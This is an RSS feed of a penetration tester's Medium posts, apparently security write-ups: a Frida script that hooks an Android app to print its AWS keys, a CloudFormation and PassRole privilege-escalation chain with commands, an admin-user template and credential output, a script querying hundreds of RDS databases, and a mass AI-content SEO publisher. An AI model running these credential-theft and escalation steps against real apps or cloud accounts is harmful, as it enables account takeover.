<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Matthew Keeley on Medium]]></title>
        <description><![CDATA[Stories by Matthew Keeley on Medium]]></description>
        <link>https://medium.com/@nightbane?source=rss-8d13946dd5be------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*vI7LpPizPKuB5M5tRSCuZQ.png</url>
            <title>Stories by Matthew Keeley on Medium</title>
            <link>https://medium.com/@nightbane?source=rss-8d13946dd5be------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 17:39:17 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nightbane/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hacking Android Apps With Frida]]></title>
            <link>https://medium.com/prodefense/hacking-android-apps-with-frida-f4b9121228b6?source=rss-8d13946dd5be------2</link>
            <guid isPermaLink="false">https://medium.com/p/f4b9121228b6</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Matthew Keeley]]></dc:creator>
            <pubDate>Mon, 26 Feb 2024 21:44:27 GMT</pubDate>
            <atom:updated>2024-02-26T21:44:27.324Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ahd2KijrG-PWBMviFEmXdg.png" /></figure><h3>Introduction</h3><p>Hey folks! So this week I was working on hacking some mobile applications. While searching for tutorials on finding hard-to-reach vulnerabilities with critical and high impact, I couldn’t find any, so I decided to write one myself. Hope you find it helpful! Enjoy!</p><h3>Obtaining an APK for Android</h3><p>First things first, let’s snag an APK file to work with. The easiest thing to do, is grab it from the Google Play Store, App Development Server or some of the online APK websites. Im not going to talk much about this since its been covered in a few hundred other blog posts.</p><h3>Reverse Engineering the Source Code</h3><p>Once you have the APK, the next step is to use JADX, an open-source tool designed for decompiling DEX (Dalvik Executable) files. DEX files contain the compiled byte code used by the Android runtime. JADX breaks down these files to convert the APK into Java files, making it easily understandable for humans.</p><pre>❯ jadx -d android_java_file app.apk<br>INFO  - loading ...<br>INFO  - processing ...<br>ERROR - finished with errors, count: 69</pre><p>At this point, it’s less of mobile hacking and more of a code review, but that’s where the best bugs are found. Generally, you can do candidate point tracing, dynamic analysis or runtime source code review methods, or do some static analysis and use grep to find keywords. I generally do a combination of both for the best results.</p><p>So when looking through and Java code, I came across this function:</p><pre>package com.sdk.AWSCredentials;<br>/* loaded from: classes2.dex */<br>public class AWSCredentials implements AWSSessionCredentials {<br>    private final String awsAccessKey;<br>    private final String awsSecretKey;<br>    private final String sessionToken;<br><br>    public AWSCredentials(String str, String str2, String str3) {<br>        this.awsAccessKey = str;<br>        this.awsSecretKey = str2;<br>        this.sessionToken = str3;<br>    }<br><br>    @Override <br>    public String getAWSAccessKeyId() {<br>        return this.awsAccessKey;<br>    }<br><br>    @Override<br>    public String getAWSSecretKey() {<br>        return this.awsSecretKey;<br>    }<br><br>    @Override<br>    public String getSessionToken() {<br>        return this.sessionToken;<br>    }<br>}</pre><p>Essentially, it’s a set of helper functions used in the codebase for obtaining AWS credentials. However, these credentials weren’t hardcoded in the source code; instead, they were encrypted on disk, making it a challenge to access. I attempted various methods to dump the keystore on Android but struggled to do so without repacking the app. Opting for a different approach, I focused on obtaining the credentials before they are encrypted.</p><h3>Writing a Frida Script</h3><p>Frida is a dynamic instrumentation toolkit that enables developers, researchers, and security professionals to analyze and manipulate the behavior of software at runtime. We are going to use Frida to monitor when the class methods are called, and what data they return:</p><pre>const targetProcess = &#39;io.prodefense.rep&#39;;<br>const targetClass = &#39;com.sdk.AWSCredentials&#39;;<br>const getAWSAccessKeyIdMethod = &#39;getAWSAccessKeyId&#39;;<br>const getAWSSecretKeyMethod = &#39;getAWSSecretKey&#39;;<br>const getSessionTokenMethod = &#39;getSessionToken&#39;;<br><br>function traceSessionCredentials() {<br>    try {<br>        const targetClassHandle = Java.use(targetClass);<br>        if (!targetClassHandle) {<br>            console.error(&#39;Unable to find the target class:&#39;, targetClass);<br>            return;<br>        }<br><br>        const getAWSAccessKeyIdMethodHandle = targetClassHandle[getAWSAccessKeyIdMethod];<br>        const getAWSSecretKeyMethodHandle = targetClassHandle[getAWSSecretKeyMethod];<br>        const getSessionTokenMethodHandle = targetClassHandle[getSessionTokenMethod];<br><br>        if (!getAWSAccessKeyIdMethodHandle || !getAWSSecretKeyMethodHandle || !getSessionTokenMethodHandle) {<br>            console.error(&#39;Unable to find one or more methods in the class:&#39;, targetClass);<br>            targetClassHandle.$dispose();<br>            return;<br>        }<br><br>        getAWSAccessKeyIdMethodHandle.implementation = function () {<br>            try {<br>                const accessKeyId = this[getAWSAccessKeyIdMethod]();<br>                console.log(&#39;AWS Access Key ID:&#39;, accessKeyId);<br>                return accessKeyId;<br>            } catch (error) {<br>                console.error(&#39;Error in getAWSAccessKeyId implementation:&#39;, error);<br>                throw error;<br>            }<br>        };<br><br>        getAWSSecretKeyMethodHandle.implementation = function () {<br>            try {<br>                const secretKey = this[getAWSSecretKeyMethod]();<br>                console.log(&#39;AWS Secret Key:&#39;, secretKey);<br>                return secretKey;<br>            } catch (error) {<br>                console.error(&#39;Error in getAWSSecretKey implementation:&#39;, error);<br>                throw error;<br>            }<br>        };<br><br>        getSessionTokenMethodHandle.implementation = function () {<br>            try {<br>                const sessionToken = this[getSessionTokenMethod]();<br>                console.log(&#39;Session Token:&#39;, sessionToken);<br>                return sessionToken;<br>            } catch (error) {<br>                console.error(&#39;Error in getSessionToken implementation:&#39;, error);<br>                throw error;<br>            }<br>        };<br><br>        console.log(&#39;Successfully hooked methods in:&#39;, targetClass);<br>        targetClassHandle.$dispose();<br>    } catch (error) {<br>        console.error(&#39;Error in traceSessionCredentials:&#39;, error);<br>    }<br>}<br><br>if (Java.available) {<br>    Java.perform(function () {<br>        traceSessionCredentials();<br>    });<br>} else {<br>    console.error(&#39;Java is not available. Make sure you are attached to the correct process.&#39;);<br>}</pre><p>You can run this script by running the command:<br> <em>frida -U -l session_trace.js -f io.prodefense.rep</em></p><p>Which will result in the following:</p><pre>[Pixel 3a::io.prodefense.rep ]-&gt; Successfully hooked methods in: com.sdk.AWSCredentials<br>AWS Access Key ID: ASIA[REDACTED]<br>AWS Secret Key: p7sjfls[REDACTED]<br>Session Token: 2hsy7sf[REDACTED]</pre><p>Woot Woot! 🎉 We’ve successfully captured the AWS Credentials! Now, where do we go from here? Well, my friend, the world is your oyster! The extracted AWS credentials open the door to a full cloud pentest! Happy Hacking!</p><p>Feel free to reach out on <a href="https://www.linkedin.com/in/mattrkeeley/">LinkedIn</a> or <a href="https://twitter.com/Nightbanes">Twitter</a> for a chat. Peace!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f4b9121228b6" width="1" height="1" alt=""><hr><p><a href="https://medium.com/prodefense/hacking-android-apps-with-frida-f4b9121228b6">Hacking Android Apps With Frida</a> was originally published in <a href="https://medium.com/prodefense">ProDefense</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking SEO: Getting to the Top with AI-Generated Content]]></title>
            <link>https://medium.com/prodefense/hacking-seo-getting-to-the-top-with-ai-generated-content-3a6ad5593403?source=rss-8d13946dd5be------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a6ad5593403</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[seo]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[chatgpt]]></category>
            <category><![CDATA[marketing]]></category>
            <dc:creator><![CDATA[Matthew Keeley]]></dc:creator>
            <pubDate>Sun, 06 Aug 2023 19:10:02 GMT</pubDate>
            <atom:updated>2023-08-06T19:10:02.708Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*32It7nAR2WXAHEul8X4BBg.png" /></figure><h3>Introduction</h3><p>In the realm of digital marketing, SEO stands tall as the gatekeeper of online visibility. But what if there’s a way to ascend its ranks effortlessly? Enter AI-generated content. With the sheer prowess of artificial intelligence, businesses can generate captivating content that not only resonates with audiences but also appeases search engine algorithms. And the result? More clicks, leading to an increase in potential revenue. In fact, websites on the first page of Google receive almost 95% of web traffic, leaving only 5% for remaining search results pages. Imagine harnessing even a fraction of that for your website!</p><h3>Prompt Generation Using GPT-4</h3><p>First things first, we need to get a list of blog post titles that we can use as prompts. To do this we can use the ChatGPT-4 <a href="https://chat.openai.com/">website</a> and ask to <strong>“Generate 25 blog post titles on the subject of red teaming”</strong>. This is what it came back with:</p><pre>&quot;Red Teaming 101: The Ultimate Guide to Ethical Hacking&quot;<br>&quot;The Art and Science of Red Team Operations&quot;<br>&quot;Why Every Organization Needs Red Teaming: Uncovering Vulnerabilities&quot;<br>&quot;Top 10 Techniques Used by Red Team Experts&quot;<br>&quot;The Differences Between Red Teaming, Penetration Testing, and Vulnerability Assessment&quot;<br>...truncated...</pre><p>While these prompts are pretty good, we can also instruct ChatGPT to craft titles that are SEO-optimized, increasing the likelihood of higher search engine rankings. Once generated, these titles can be stored in a rudimentary .txt file aptly named prompts.txt.</p><h3>Crafting Comprehensive Blog Posts</h3><p>At face value, the process for generating content seems pretty easy. However, there are some limitations with ChatGPT where the outputs of a prompt like<strong> “Generate a blog post on pentesting AWS”</strong> will only return a blog post with 500 words that is lacking details. The ideal blog post word-count often ranges between 1000 to 3000 words, which will require a different approach in prompt generation.</p><p>To achieve the desired content length of roughly 1500 words, each prompt needs to be broken down into sections targeting approximately 500 words. Here’s a glimpse into the code that implements this strategy:</p><pre>import openai<br><br>def generate_content(prompt):<br>    openai.api_key = os.environ.get(&#39;CHAT_GPT_API_KEY&#39;)<br>    completion = openai.ChatCompletion.create(model=&quot;gpt-3.5-turbo&quot;, <br>    messages=[{&quot;role&quot;: &quot;user&quot;, &quot;content&quot;: f&quot;{prompt}&quot;}])<br><br>    response = completion.choices[0].message.content<br>    print(f&#39;Word count: {len(response.split())}&#39;)<br>    return response<br><br>def make_blog_post(topic):<br>    sections = generate_content(<br>        f&quot;create a bulleted list of section titles for a blog post on {topic}.<br>         Respond with nothing but the section titles and no greetings&quot;)<br>    content = &quot;&quot;<br>    for line in sections.split(&#39;\n&#39;):<br>        section = line[2:]<br>        content = generate_content(<br>            f&quot;I&#39;m writing a blog post about {topic}. <br>              I&#39;d like content for a section titled {section}. <br>              Kindly exclude the heading in your response.&quot;)<br>    return content</pre><p>The code above has ChatGPT create a bulleted list of the sections headings given a blog post title such as <strong>“Python pickling exploitation”</strong>. Those are then parsed and stored as sections. Next another generate_content request is sent asking to write a blog post with the title we provided, but to specifically <strong>generate the content just for the section</strong>. Keeping the title in the prompt helps ChatGPT stay on track with the content that is being generated. Taking this approach not only achieves the word count desired, but also maintains a cohesive and engaging narrative throughout.</p><h3>Using Wordpress API</h3><p>The magic doesn’t just stop at content creation. WordPress offers an API that seamlessly integrates with our script, allowing automated publishing of these AI-generated posts. The caveat with Wordpress is that the blog posts being uploaded need to be in html tags, include a title, and each section to have a distinct header. To do this, the make_blog_post function was updated to the following:</p><pre>def make_blog_post(topic):<br><br>    sections = generate_content(<br>        f&quot;create a bulleted list of section titles for a blog post on {topic}.<br>         Respond with nothing but the section titles and no greetings&quot;)<br>    content = &quot;&quot;<br>    for line in sections.split(&#39;\n&#39;):<br>        section = line[2:]<br>        content += f&#39;&lt;h3&gt;{section}&lt;/h3&gt;\n&#39;<br>        paragraph = generate_content(<br>            f&quot;Im writing a blog post about {topic}. <br>            I want you to write the content for a section titled {section}. <br>            Do not include a heading in your response.&quot;)<br>        content += f&quot;&lt;p&gt;{paragraph}&lt;/p&gt;\n&quot;<br>    return content</pre><p>Setting up this padding allows Wordpress to automatically format the blog post. After the padding was setup, all that is left to do is hook into the Wordpress API to publish the blog posts on a specific cadence. The code to do that is below:</p><pre>def new_blog_post(title, content, formatted_publish_date):<br>    data = {<br>        &#39;title&#39;: title,<br>        &#39;content&#39;: content,<br>        &#39;status&#39;: &#39;publish&#39;,<br>        &#39;date&#39;: formatted_publish_date<br>    }<br>    username = os.environ.get(&#39;WORDPRESS_USERNAME&#39;)<br>    password = os.environ.get(&#39;WORDPRESS_PASSWORD&#39;)<br>    response = requests.post(<br>        site_url + &#39;posts&#39;, json=data, auth=(username, password))<br>    if response.status_code == 201:<br>        print(<br>            f&#39;Blog post created successfully! Word count: {len(content.split())}&#39;)<br>    else:<br>        print(&#39;Failed to create the blog post.&#39;)</pre><p>For the grand finale, the main function scans through all the manually generated prompts, feeds them to make_blog_post (which crafts the sections and generates the content), and then publishes the content on a Wordpress blog!</p><pre>if __name__ == &quot;__main__&quot;:<br>    with open(&#39;prompts.txt&#39;, &#39;r&#39;) as f:<br>        lines = f.readlines()<br><br>    publish_date = datetime.fromisoformat(&#39;2023-05-03T12:00:00&#39;)<br>    for topic in lines:<br>        topic = topic.strip()<br>        formatted_publish_date = publish_date.strftime(&#39;%Y-%m-%dT%H:%M:%S&#39;)<br>        content = make_blog_post(topic)<br>        new_blog_post(topic, content, formatted_publish_date)<br>        publish_date += timedelta(days=1)</pre><p>And here’s a golden nugget for SEO enthusiasts: publishing content twice a day and promptly requesting Google to index them can significantly boost your rankings. However, remember to maintain an updated sitemap for Google to effectively navigate your posts.</p><h3>Conclusion</h3><p>In a world where content is king, AI proves to be the master craftsman. By blending the capabilities of GPT-3.5-Turbo with the versatility of WordPress, businesses stand on the precipice of an SEO revolution. Not only does this approach promise enhanced visibility, but it also paves the way for increased clicks, driving potential revenue. As the line between technology and content blurs, one thing is clear: AI is the future of SEO, and the future is now.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a6ad5593403" width="1" height="1" alt=""><hr><p><a href="https://medium.com/prodefense/hacking-seo-getting-to-the-top-with-ai-generated-content-3a6ad5593403">Hacking SEO: Getting to the Top with AI-Generated Content</a> was originally published in <a href="https://medium.com/prodefense">ProDefense</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Accessing Hundreds of RDS Databases with AD Credentials Using Python and JDBC]]></title>
            <link>https://medium.com/prodefense/accessing-hundreds-of-rds-databases-with-ad-credentials-using-python-and-jdbc-3573e8815408?source=rss-8d13946dd5be------2</link>
            <guid isPermaLink="false">https://medium.com/p/3573e8815408</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[jdbc]]></category>
            <category><![CDATA[mssql]]></category>
            <category><![CDATA[scale]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[Matthew Keeley]]></dc:creator>
            <pubDate>Sat, 05 Aug 2023 18:19:28 GMT</pubDate>
            <atom:updated>2023-08-05T18:19:28.414Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>During my recent engagement, I faced an interesting challenge of accessing hundreds (956 to be exact) of RDS databases at scale. The task was further complicated by the fact that I could only use Active Directory credentials to access these databases since they were attached to a network domain. Additionally, I had a hard time finding any concise guides on using Python to access MSSQL RDS databases online with JDBC. Given the complexity of the task and the lack of existing resources, I decided to document my solution in this blog post in hopes of aiding others who may find themselves in a similar predicament.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DWB58iB7T3lLbHsAqDemxw.png" /><figcaption>Example RDS database on network domain corp.prodefense.io</figcaption></figure><h3>The Challenge</h3><p>First, let’s set up the challenge at hand: we have hundreds of RDS databases with varying locations and names, and we need to access all of them using our corporate Active Directory credentials. To keep it platform-independent, we’ll use JDBC, a database access protocol that allows us to connect to a database in a platform-independent manner.</p><h3>The Code</h3><p>The Python library jaydebeapi is an interface to Java JDBC that allows Python programs to use JDBC to connect to databases. Using this, we can connect to each of our databases in a scalable manner. Here is the script that helped me get through this situation:</p><pre>import jaydebeapi, os, ast<br>from dotenv import load_dotenv<br><br># SQL Server credentials<br>load_dotenv()<br>username = os.getenv(&quot;AD_USERNAME&quot;)<br>password = os.getenv(&quot;AD_PASSWORD&quot;)<br>jar = os.getenv(&quot;JDBC_JAR_LOCATION&quot;)<br><br>if username is None or password is None or jar is None:<br>    print(&#39;Missing .env information&#39;)<br><br>with open(&#39;databases.txt&#39;, &#39;r&#39;) as f:<br># database file contains databases like so: rds_url|db_name<br>    for line in f.readlines():<br>        if not line.startswith(&quot;#&quot;):<br>            # Parse the databases.txt file<br>            db_info = line.split(&#39;|&#39;)<br>            database_location = db_info[0]<br>            database_name = db_info[1].strip(&#39;\n&#39;)<br>            # (rest of the code continues)</pre><p>The snippet above is primarily used for the setup. In the .env file, the user should store their active directory credentials and the file path of the JDBC jar which can be found <a href="https://github.com/microsoft/mssql-jdbc/releases/download/v9.2.0/mssql-jdbc-9.2.0.jre8.jar">here</a>.</p><p>Now, let’s see how we can connect to these databases and execute a query:</p><pre># Connect to the server<br>try:<br>    print(f&#39;Connecting to server {database_location}...&#39;)<br>    connection_string = f&#39;jdbc:sqlserver://;serverName={database_location};databaseName={database_name};authenticationScheme=NTLM;integratedSecurity=true;&#39;<br>    conn = jaydebeapi.connect(&quot;com.microsoft.sqlserver.jdbc.SQLServerDriver&quot;, connection_string, [username, password], jar)<br>    curs = conn.cursor()<br><br>    try:<br>        # Execute a query<br>        query = &quot;SELECT @@VERSION;&quot;<br>        print(f&quot;Sending query &#39;{query}&#39; to database: {database_name}...&quot;)<br>        curs.execute(query)<br><br>        # Print the SQL results<br>        rows = curs.fetchall()<br>        response = &quot;\n&quot;.join(str(row) for row in rows)<br>        evaluated_response = ast.literal_eval(f&#39;&quot;{response}&quot;&#39;)<br>        print(evaluated_response)<br><br>    except jaydebeapi.Error as e:<br>        print(f&quot;Error occurred while executing the query: {str(e)}&quot;)<br><br>    finally:<br>        # Close the cursor<br>        curs.close()<br>        # Close the connection<br>        conn.close()<br><br>except Exception as ex:<br>    print(f&quot;Cannot connect to server {database_location}...&quot;)</pre><p>Since my laptop wasn&#39;t connected to the network domain, I couldn&#39;t use windows authentication to connect to the RDS databases. Instead I ended up using NTLM authentication <em>(line 4)</em> which worked perfectly.</p><p>Error handling is also in place for any issues that may occur while executing the query or connecting to the server. Since we are using a JAR file for connecting to the databases, the JAR can throw its own errors which need to be caught separately.</p><p>The rest of the code initiates a connection to each database server and sends a simple SELECT @@VERSION; query to test the connection. Any SQL results are fetched and printed out.</p><h3>Conclusion</h3><p>In conclusion, the lack of online resources does not deter a determined programmer. With a combination of Python, JDBC, and a well-structured approach, I was able to effectively access hundreds of RDS databases at scale using Active Directory credentials. I hope this solution serves as a useful guide for anyone facing a similar situation or simply trying to understand the interaction between Python, JDBC, and MS SQL RDS databases. Remember, every problem is just an opportunity for a creative solution!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3573e8815408" width="1" height="1" alt=""><hr><p><a href="https://medium.com/prodefense/accessing-hundreds-of-rds-databases-with-ad-credentials-using-python-and-jdbc-3573e8815408">Accessing Hundreds of RDS Databases with AD Credentials Using Python and JDBC</a> was originally published in <a href="https://medium.com/prodefense">ProDefense</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Abusing AWS CloudFormation Led to a Total Takeover of an AWS Environment]]></title>
            <link>https://medium.com/prodefense/how-abusing-aws-cloudformation-led-to-a-total-takeover-of-an-aws-environment-7f94cabd671d?source=rss-8d13946dd5be------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f94cabd671d</guid>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[Matthew Keeley]]></dc:creator>
            <pubDate>Sat, 01 Jul 2023 17:01:29 GMT</pubDate>
            <atom:updated>2023-07-01T17:01:29.427Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In a recent research project, I discovered an attack chain that highlighted the importance of securing AWS credentials and the potential consequences of their exposure. To provide a more immersive understanding of this attack chain, I also created a YouTube video demonstrating the entire process. So, if you’re a visual learner, be sure to check it out!</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FYLCaKlkP138%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DYLCaKlkP138&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FYLCaKlkP138%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/d800da2519c020db2f7809c95a878bc6/href">https://medium.com/media/d800da2519c020db2f7809c95a878bc6/href</a></iframe><p>Original Blog Link: <a href="https://www.prodefense.io/blog/aws-cloudformation-takeover">https://www.prodefense.io/blog/aws-cloudformation-takeover</a></p><p>In this blog, we will explore the attack chain below.</p><h3>Obtaining AWS Credentials</h3><p>My security assessment began with the utilization of a tool called Trufflehog. This nifty tool allowed me to scan through various GitHub repositories in search of sensitive credentials. It was during this exploration that I unearthed a treasure trove — a set of AWS credentials hidden within an old commit that had been deleted.‍</p><p>Upon further investigation, I discovered that these credentials were associated with an IAM role. Intriguingly, this IAM role possessed specific permissions, namely:</p><pre>{<br>    &quot;Version&quot;: &quot;2012-10-17&quot;,<br>    &quot;Statement&quot;: [<br>        {<br>            &quot;Sid&quot;: &quot;VisualEditor0&quot;,<br>            &quot;Effect&quot;: &quot;Allow&quot;,<br>            &quot;Action&quot;: &quot;iam:PassRole&quot;,<br>            &quot;Resource&quot;: &quot;*&quot;<br>        }<br>    ]<br>}</pre><p>and</p><pre>{<br>    &quot;Version&quot;: &quot;2012-10-17&quot;,<br>    &quot;Statement&quot;: [<br>        {<br>            &quot;Effect&quot;: &quot;Allow&quot;,<br>            &quot;Action&quot;: [<br>                &quot;cloudformation:*&quot;<br>            ],<br>            &quot;Resource&quot;: &quot;*&quot;<br>        }<br>    ]<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dUVyzd9Y_S3fn0UmPzVOdA.png" /></figure><h3>Privilege Escalation Attack Chain</h3><p>While possessing individual access to CloudFormation and PassRole permissions may not inherently expose vulnerabilities for privilege escalation, combining these permissions can open the door to potential exploits.</p><p>Specifically, when these IAM permissions are coupled with existing administration and execution AWS CloudFormation Roles an attacker can utilize the passrole to create a new IAM user with the permissions of the CloudFormation Role (which in this case was Administrator Access). This is precisely what I discovered in this scenario — the IAM role in question had both CloudFormation and PassRole permissions, setting the stage for a privilege escalation attack. Let’s dive into the attack chain and explore the steps involved.</p><p>To initiate the attack, I executed the following command using the compromised IAM role:</p><pre>aws cloudformation create-stack-set --stack-set-name exploit-stack-set --template-body file://createuser.yaml \<br>--description &quot;stackset to create an admin user&quot; \<br>--administration-role-arn arn:aws:iam::657989423626:role/AWS-StackSet-AdministrationRole \<br>--execution-role-name AWS-StackSet-ExecutionRole \<br>--region us-east-1 \<br>--parameters \<br>ParameterKey=USERNAME,ParameterValue=stackset-admin-user \<br>ParameterKey=PASSWORD,ParameterValue=SuperSecurePassword@1 \<br>--capabilities CAPABILITY_NAMED_IAM \<br>--profile compromised_user</pre><p>This command served as the foundation for creating a CloudFormation stack set. It deployed a template named <strong>createuser.yaml</strong>, with the ultimate objective of creating an admin user with elevated privileges. Allow me to share a snippet of the CloudFormation template used in this attack:</p><pre>Parameters:<br>  USERNAME:<br>    Type: String<br>    Description: Username of the user principal to be created<br>  PASSWORD:<br>    Type: String<br>    NoEcho: true<br>  MANAGEDPOLICIES:<br>    Type: String<br>    Default: arn:aws:iam::aws:policy/AdministratorAccess<br><br>Resources:<br>  AdminUserWithPassword:<br>    Type: AWS::IAM::User<br>    Properties: <br>      LoginProfile:<br>        Password: !Ref PASSWORD<br>        PasswordResetRequired: False<br>      ManagedPolicyArns:<br>        - !Ref MANAGEDPOLICIES<br>      UserName: !Ref USERNAME<br><br>  AdminUserAccessKey:<br>    Type: AWS::IAM::AccessKey<br>    Properties:<br>      UserName: !Ref USERNAME<br>    DependsOn: AdminUserWithPassword<br><br>Outputs:<br>  AccessKeyId: <br>    Value: !Ref AdminUserAccessKey<br>  SecretKey:<br>    Value: !GetAtt AdminUserAccessKey.SecretAccessKey</pre><p>Next, I executed the following command:</p><pre>aws cloudformation create-stack-instances --stack-set-name exploit-stack-set --accounts 657989423626 --regions us-east-1 --operation-preferences FailureToleranceCount=0,MaxConcurrentCount=1 --region us-east-1 --profile compromised_user</pre><p>By executing this command, I created stack instances within the stack set. Specifically, I targeted the AWS account with the ID <strong>657989423626</strong> and the <strong>us-east-1</strong> region. Leveraging the compromised user’s profile, I aimed to propagate the creation of the admin user across multiple instances.</p><p>Finally, I ran the following command to retrieve the AWS credentials:</p><pre>aws cloudformation describe-stacks \<br>--region us-east-1 \<br>--profile compromised_user</pre><p>The output of this command is below which highlights the creation of the Administrative AWS credentials!</p><pre>{<br>    &quot;Stacks&quot;: [<br>        {<br>            &quot;StackId&quot;: &quot;arn:aws:cloudformation:us-east-1:657989423626:stack/StackSet-exploit-stack-set-82f4216c-4d1e-4a53-b7db-138cd8563800/c53f9b90-125e-11ee-a1d6-0ec75c9a70f7&quot;,<br>            &quot;StackName&quot;: &quot;StackSet-exploit-stack-set-82f4216c-4d1e-4a53-b7db-138cd8563800&quot;,<br>            &quot;Parameters&quot;: [<br>                {<br>                    &quot;ParameterKey&quot;: &quot;PASSWORD&quot;,<br>                    &quot;ParameterValue&quot;: &quot;****&quot;<br>                },<br>                {<br>                    &quot;ParameterKey&quot;: &quot;MANAGEDPOLICIES&quot;,<br>                    &quot;ParameterValue&quot;: &quot;arn:aws:iam::aws:policy/AdministratorAccess&quot;<br>                },<br>                {<br>                    &quot;ParameterKey&quot;: &quot;USERNAME&quot;,<br>                    &quot;ParameterValue&quot;: &quot;stackset-admin-user&quot;<br>                }<br>            ],<br>            &quot;CreationTime&quot;: &quot;2023-06-24T07:14:34.252000+00:00&quot;,<br>            &quot;RollbackConfiguration&quot;: {},<br>            &quot;StackStatus&quot;: &quot;CREATE_COMPLETE&quot;,<br>            &quot;DisableRollback&quot;: false,<br>            &quot;NotificationARNs&quot;: [],<br>            &quot;Capabilities&quot;: [<br>                &quot;CAPABILITY_NAMED_IAM&quot;<br>            ],<br>            &quot;Outputs&quot;: [<br>                {<br>                    &quot;OutputKey&quot;: &quot;SecretKey&quot;,<br>                    &quot;OutputValue&quot;: &quot;WTfTPAIPf3fQZ/MaASnWWRGkc95LeOd2+uFp+mkO&quot;<br>                },<br>                {<br>                    &quot;OutputKey&quot;: &quot;AccessKeyId&quot;,<br>                    &quot;OutputValue&quot;: &quot;AKIAZSMZZ2IFMEZVSAPJ&quot;<br>                }<br>            ],<br>{</pre><h3>Conclusion</h3><p>The scenario I encountered serves as a good reminder of the importance of implementing robust security measures within AWS environments. Through the privilege escalation attack chain I’ve described, an attacker can exploit combined CloudFormation and PassRole permissions, leading to unauthorized access and potential compromise.</p><p>‍<br>If you found this blog post insightful, make sure to subscribe to receive notifications whenever we release new content!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f94cabd671d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/prodefense/how-abusing-aws-cloudformation-led-to-a-total-takeover-of-an-aws-environment-7f94cabd671d">How Abusing AWS CloudFormation Led to a Total Takeover of an AWS Environment</a> was originally published in <a href="https://medium.com/prodefense">ProDefense</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sorting Your Way to Stolen Passwords]]></title>
            <link>https://medium.com/prodefense/sorting-your-way-to-stolen-passwords-43ff5cfeeabd?source=rss-8d13946dd5be------2</link>
            <guid isPermaLink="false">https://medium.com/p/43ff5cfeeabd</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Matthew Keeley]]></dc:creator>
            <pubDate>Mon, 08 May 2023 19:03:30 GMT</pubDate>
            <atom:updated>2023-05-08T19:44:18.311Z</atom:updated>
